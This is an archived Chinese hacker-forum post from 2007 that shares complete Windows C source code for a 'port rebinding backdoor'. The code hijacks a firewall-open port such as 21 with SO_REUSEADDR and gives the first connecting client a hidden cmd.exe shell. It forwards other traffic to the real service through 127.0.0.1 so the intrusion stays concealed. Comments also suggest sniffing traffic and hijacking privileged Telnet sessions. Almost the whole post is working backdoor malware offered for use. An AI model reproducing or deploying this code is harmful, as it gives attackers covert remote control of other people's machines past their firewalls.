岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

猪猪 发表于 2007-2-13 09:43

端口重绑定后门工具源代码

信息来源:dahubaobao

[b]端口复用相关资料[/b]
[code]/*
***********************************************************
端口重绑定后门工具
原理:通过把端口重绑定到防火墙开放的端口实现穿越防火墙的功能
感谢:wineggdrop(还有一位不知道名字,本程序主干修改自他的代码)
用途:当防火墙BT到连反向连接到封闭时,可以尝试一下这个
留言:其实我也是脚本小子,我只是把两位大虾的代码合并在一齐而已
    了,自己写的不过10行。其实还有一个svchost.exe的功能是一样
    过我发现那个不好使,所以就写了这个。
***********************************************************
*/
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")

DWORD WINAPI ClientThread(LPVOID lpParam);//原端口转发
DWORD WINAPI ServerThread(LPVOID lpParam);//CMDSHELL线程,抄写自wineggdrop

unsigned int port=21;//重绑定端口
BOOL Connected;

//************抄写自wineggdrop的代码***************

unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,unsigned int BufferSize)
{
ZeroMemory(Buffer,BufferSize);     // Reset The Buffer

if (BufferSize < 2)     // Buffer Size Is Less Then 2
{
    return 0;     // Dump
}

unsigned int CharacterCount = 0;     

while(TRUE)
{
  if (CharacterCount >= BufferSize)     // The Characters Received Is Bigger Or Equal The Buffer Size
  {
      // Give The Buffer An Enter
      Buffer[BufferSize-2] = '\r';
      Buffer[BufferSize-1] = '\n';
      return CharacterCount;     // Return The Characters Received
  }

  if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR)     // Fail To Receive Data
  {
      return SOCKET_ERROR;     // Return Error
  }

  if (Buffer[CharacterCount] == '\b')     // Back Space Detected
  {
      Buffer[CharacterCount] = '\0';     // Skip It
      if (CharacterCount > 0)     // Characters Received Is Bigger Than 0
      {
        CharacterCount--;     // Decrease One Character
        Buffer[CharacterCount] = '\0';
      }
      continue;     // Begin A New Loop
  }

  if (Buffer[CharacterCount++] == '\n')     // Enter Is Detected
  {
      return CharacterCount;     // Return The Characters Received
  }
}
return 0;
}

BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}

//***********抄写结束*******

int usage(char * appname)
{
  printf("%s 端口重绑定后门工具\n"
    "使用方法:%s [重绑定端口(可选,默认是80)] \n",appname,appname);
  exit(0);
}

int main(int argc, char* argv[])
{

WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

Connected=FALSE;

if (argc!=1)
  port=atoi(argv[1]);

printf("[i]Startup.....\n");

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("[-]WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;

//截听虽然也可以将地址指定为INADDR_ANY,
//但是要不能影响正常应用情况下,
//应该指定具体的IP,留下127.0.0.1给正常的服务应用,
//然后利用这个地址进行转发,
//就可以不影响对方正常应用了
printf("[i]Bind.....\n");

//*********以下代码抄写自wineggdrop**********

char FAR name[255];
gethostname(name, 255);//获得主机名
struct hostent FAR * pHostent;     
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);//获得IP
memcpy(&saddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); //复制IP

//**********抄写结束*************



saddr.sin_port = htons(port);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("[-]socket failed!\n");
return -1;
}
val = TRUE;

//********以下代码修改自......不知道是谁,反正不是我原创的*********

//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("[-]setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,
//就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,
//就可以动态的测试当前已绑定的端口哪个可以成功,
//就说明具备这个漏洞,然后动态利用端口使得更隐蔽
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("[-]bind failed!\n");
return -1;
}

while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
printf("[+]Listening.....\n");
listen(s,5);
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
printf("[+]Someone connect port %d\n",port);
if(sc!=INVALID_SOCKET)
{
if(Connected)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);//原端口转发
printf("[+]%d -> %d Thread Created!\n",port,port);
}
else
{
mt = CreateThread(NULL,0,ServerThread,(LPVOID)sc,0,&tid);//重定向线程
printf("[+] CMDShell Thread Created!\n");
Connected=TRUE;
}
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)//原端口转发
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;

//如果是隐藏端口应用的话,
//可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,
//不是的话通过127.0.0.1进行转发

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(port);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1
//这个地址把包转发到真正的应用上,
//并把应答的包再转发回去。
//如果是嗅探内容的话,
//可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,
//利用其高权限登陆用户的话,
//可以分析其登陆用户,
//然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,&(buf[0]),4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}

DWORD WINAPI ServerThread(LPVOID lpParam)//重定向线程
{
SOCKET ListenSocket = (SOCKET)lpParam;

//**************除上面一句是自己的,下面的都是wineggdrop的代码:)******

char ReceiveBuffer[MAX_PATH + 1];     // The Receive Buffer
char SendBuffer[1024 * 4];     // The Send Buffer

unsigned long OutputLength,InputLength;     // The Input And Output Length

// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;     
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;

SECURITY_ATTRIBUTES sa           = {0};
STARTUPINFO       si           = {0};
PROCESS_INFORMATION pi           = {0};

ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))     // Get System Directory
{
  strcat(ReceiveBuffer,"\\cmd.exe");     // Get The Cmd.exe Full Path
}
else     // Fail To Get System Directory
{
  SendSocket(ListenSocket,"Fail To Get System Diretory\r\n");     // Display Error Message
  return FALSE;     // Return
}

// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));

if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))     // Fail To Create Client Read Pipe
{
  SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n");     // Display Error Message
  goto CleanUP;     // Leave
}

if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))     // Fail To Create Cmd Read Pipe
{
  SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n");     // Display Error Message
  goto CleanUP;     // Leave
}

// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags   = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

si.hStdInput = CmdReadPipe;     // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe;     // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe;     // Pass The CmdWritePipe To StdOutput

if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi))     // Fail To Create A Cmd Shell Process
{
  SendSocket(ListenSocket,"Fail To Create Process\r\n");     // Display Error Message
  goto CleanUP;     // Leave
}

while(TRUE)     // Shell Commincation Starts Here
{
  if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))     // Fail To Get Data From The Pipe
  {
      SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n");     // Display Error Message
      break;     // Leave
  }
  if (OutputLength > 0)     // Get Data From The Pipe Successfully
  {
      ZeroMemory(SendBuffer,sizeof(SendBuffer));     // Reset The Send Buffer
      if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))     //Fail To Read The Data
      {
        SendSocket(ListenSocket,"Fail To Read File\r\n");     // Display Error Message
        break;     // Leave
      }
      if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR)     // Fail To Send The Data
      {
        printf("Fail To Send Buffer\n");     // Display Error Message
        break;     // Leave
      }
  }
  else
  {
      ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));     // Reset Receive Buffer
      InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer));     // Receive Input From Client
      if (InputLength == SOCKET_ERROR)     // Fail To Receive Data
      {
        printf("Fail To Receive Buffer\n");     // Display Error Message
        break;     // Leave
      }

      if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))     // Fail To Write The Received Data To The Pipe
      {
        printf("Fail To Write File\n");     // Display Error Message
        break;     // Leave
      }

      // Leave The Shell
      if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
        break;
  }
}

// Clean All Resource Allocated
CleanUP:
    if (CmdReadPipe != NULL)
      CloseHandle(CmdReadPipe);
    if (CmdWritePipe != NULL)
      CloseHandle(CmdWritePipe);
    if (ClientReadPipe != NULL)
      CloseHandle(ClientReadPipe);
    if (ClientWritePipe)
      CloseHandle(ClientWritePipe);


  Connected=FALSE;
  
  return 0;
} [/code]

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2009 Comsenz Inc.